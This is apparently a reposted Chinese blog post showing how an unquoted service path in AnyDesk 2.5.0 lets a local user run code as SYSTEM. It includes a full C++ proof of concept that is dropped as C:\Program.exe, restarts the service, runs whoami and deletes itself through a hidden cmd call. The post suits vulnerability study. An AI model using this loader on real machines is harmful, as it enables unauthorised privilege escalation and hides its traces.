标签:
前言:
前几天逛exploit-db,看到一个文章《AnyDesk 2.5.0 - Unquoted Service Path Privilege Escalation》,大概描述内容如下:
1. Description: The Anydesk installs as a service with an unquoted service path running with SYSTEM privileges. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.
看完这描述,没有明白,为什么服务路径没有加引号会造成权限提升呢?于是自己手动查询了俩服务对比对比:
对比后大概了解:
BINARY_PATH_NAME 如果没有加双引号的话,在启用服务过程中查询路径的时候,遇上空格会造成截断,那么利用思路就出来了,在C:\Program Files\(程序路径,我本机是安装在C盘)这个目录的同级目录 也就是C:\ 放置一个Program的程序,启用服务的过程中是不是就加载了这个程序呢?
实验过程:
既然思路有了,那么就写一个程序试试吧,程序实现思路如下:
1:执行命令(这里执行whoami,查看运行权限)
2:运行完毕后删除自身(因为服务加载了Program程序时候,就启用不了正常服务了,删除自身后可以保证重新启用程序时候服务能正常启用)
代码如下:
#include <iostream> #include <cstdlib> #include <string> #include <windows.h> #include <shellapi.h> #include <shlobj.h> #define SVCNAME TEXT("AnyDesk") #pragma comment(lib, "shell32.lib") #pragma comment(lib, "advapi32.lib") using namespace std; /* 启动服务函数 */ VOID __stdcall DoStartSvc() { SERVICE_STATUS_PROCESS ssStatus; DWORD dwOldCheckPoint; DWORD dwStartTickCount; DWORD dwWaitTime; DWORD dwBytesNeeded; SC_HANDLE schSCManager; SC_HANDLE schService; // Get a handle to the SCM database. schSCManager = OpenSCManager( NULL, // local computer NULL, // servicesActive database SERVICE_START | SERVICE_QUERY_STATUS | SERVICE_STOP); // full access rights if (NULL == schSCManager) { printf("OpenSCManager failed (%d)\n", GetLastError()); return; } // Get a handle to the service. schService = OpenService( schSCManager, // SCM database SVCNAME, // name of service SERVICE_ALL_ACCESS); // full access if (schService == NULL) { printf("OpenService failed (%d)\n", GetLastError()); CloseServiceHandle(schSCManager); return; } // Check the status in case the service is not stopped. if (!QueryServiceStatusEx( schService, // handle to service SC_STATUS_PROCESS_INFO, // information level (LPBYTE) &ssStatus, // address of structure sizeof(SERVICE_STATUS_PROCESS), // size of structure &dwBytesNeeded ) ) // size needed if buffer is too small { printf("QueryServiceStatusEx failed (%d)\n", GetLastError()); CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return; } // Check if the service is already running. It would be possible // to stop the service here, but for simplicity this example just returns. if(ssStatus.dwCurrentState != SERVICE_STOPPED && ssStatus.dwCurrentState != SERVICE_STOP_PENDING) { printf("Cannot start the service because it is already running\n"); CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return; } // Save the tick count and initial checkpoint. dwStartTickCount = GetTickCount(); dwOldCheckPoint = ssStatus.dwCheckPoint; // Wait for the service to stop before attempting to start it. while (ssStatus.dwCurrentState == SERVICE_STOP_PENDING) { // Do not wait longer than the wait hint. A good interval is // one-tenth of the wait hint but not less than 1 second // and not more than 10 seconds. dwWaitTime = ssStatus.dwWaitHint / 10; if( dwWaitTime < 1000 ) dwWaitTime = 1000; else if ( dwWaitTime > 10000 ) dwWaitTime = 10000; Sleep( dwWaitTime ); // Check the status until the service is no longer stop pending. if (!QueryServiceStatusEx( schService, // handle to service SC_STATUS_PROCESS_INFO, // information level (LPBYTE) &ssStatus, // address of structure sizeof(SERVICE_STATUS_PROCESS), // size of structure &dwBytesNeeded ) ) // size needed if buffer is too small { printf("QueryServiceStatusEx failed (%d)\n", GetLastError()); CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return; } if ( ssStatus.dwCheckPoint > dwOldCheckPoint ) { // Continue to wait and check. dwStartTickCount = GetTickCount(); dwOldCheckPoint = ssStatus.dwCheckPoint; } else { if(GetTickCount()-dwStartTickCount > ssStatus.dwWaitHint) { printf("Timeout waiting for service to stop\n"); CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return; } } } // Attempt to start the service. if (!StartService( schService, // handle to service 0, // number of arguments NULL) ) // no arguments { printf("StartService failed (%d)\n", GetLastError()); CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return; } else printf("Service start pending...\n"); // Check the status until the service is no longer start pending. if (!QueryServiceStatusEx( schService, // handle to service SC_STATUS_PROCESS_INFO, // info level (LPBYTE) &ssStatus, // address of structure sizeof(SERVICE_STATUS_PROCESS), // size of structure &dwBytesNeeded ) ) // if buffer too small { printf("QueryServiceStatusEx failed (%d)\n", GetLastError()); CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return; } // Save the tick count and initial checkpoint. dwStartTickCount = GetTickCount(); dwOldCheckPoint = ssStatus.dwCheckPoint; while (ssStatus.dwCurrentState == SERVICE_START_PENDING) { // Do not wait longer than the wait hint. A good interval is // one-tenth the wait hint, but no less than 1 second and no // more than 10 seconds. dwWaitTime = ssStatus.dwWaitHint / 10; if( dwWaitTime < 1000 ) dwWaitTime = 1000; else if ( dwWaitTime > 10000 ) dwWaitTime = 10000; Sleep( dwWaitTime ); // Check the status again. if (!QueryServiceStatusEx( schService, // handle to service SC_STATUS_PROCESS_INFO, // info level (LPBYTE) &ssStatus, // address of structure sizeof(SERVICE_STATUS_PROCESS), // size of structure &dwBytesNeeded ) ) // if buffer too small { printf("QueryServiceStatusEx failed (%d)\n", GetLastError()); break; } if ( ssStatus.dwCheckPoint > dwOldCheckPoint ) { // Continue to wait and check. dwStartTickCount = GetTickCount(); dwOldCheckPoint = ssStatus.dwCheckPoint; } else { if(GetTickCount()-dwStartTickCount > ssStatus.dwWaitHint) { // No progress made within the wait hint. break; } } } // Determine whether the service is running. if (ssStatus.dwCurrentState == SERVICE_RUNNING) { printf("Service started successfully.\n"); } else { printf("Service not started. \n"); printf(" Current State: %d\n", ssStatus.dwCurrentState); printf(" Exit Code: %d\n", ssStatus.dwWin32ExitCode); printf(" Check Point: %d\n", ssStatus.dwCheckPoint); printf(" Wait Hint: %d\n", ssStatus.dwWaitHint); } CloseServiceHandle(schService); CloseServiceHandle(schSCManager); } /* 运行后删除自身函数 */ void DeleteApplicationSelf() { char szCommandLine[MAX_PATH + 10]; //设置本程序进程基本为实时执行,快速退出。 SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); //通知资源管理器不显示本程序,当然如果程序没有真正的删除,刷新资源管理器后仍会显示出来的。 SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, _pgmptr, NULL); //调用cmd传入参数以删除自己 char szFilePath[MAX_PATH]; sprintf(szFilePath, "\"%s\"", _pgmptr); sprintf(szCommandLine, "/c del /q %s", szFilePath); ShellExecute(NULL, "open", "cmd.exe", szCommandLine, NULL, SW_HIDE); ExitProcess(0); } int main() { DoStartSvc(); string cmd = "whoami > 123.txt"; system(cmd.c_str()); DeleteApplicationSelf(); return 0; }
编译程序测试:
1:将程序命名为Program.exe放置在C盘
2:启用anydesk
这里弹出警告:提示服务没能启动起来,这个不要紧,Program.exe已经自删除,关掉重新打开就能正常启用了。
3:查看结果,成功提权。
参考:
https://www.exploit-db.com/exploits/40410/
标签:
原文地址:http://www.cnblogs.com/persuit/p/5916010.html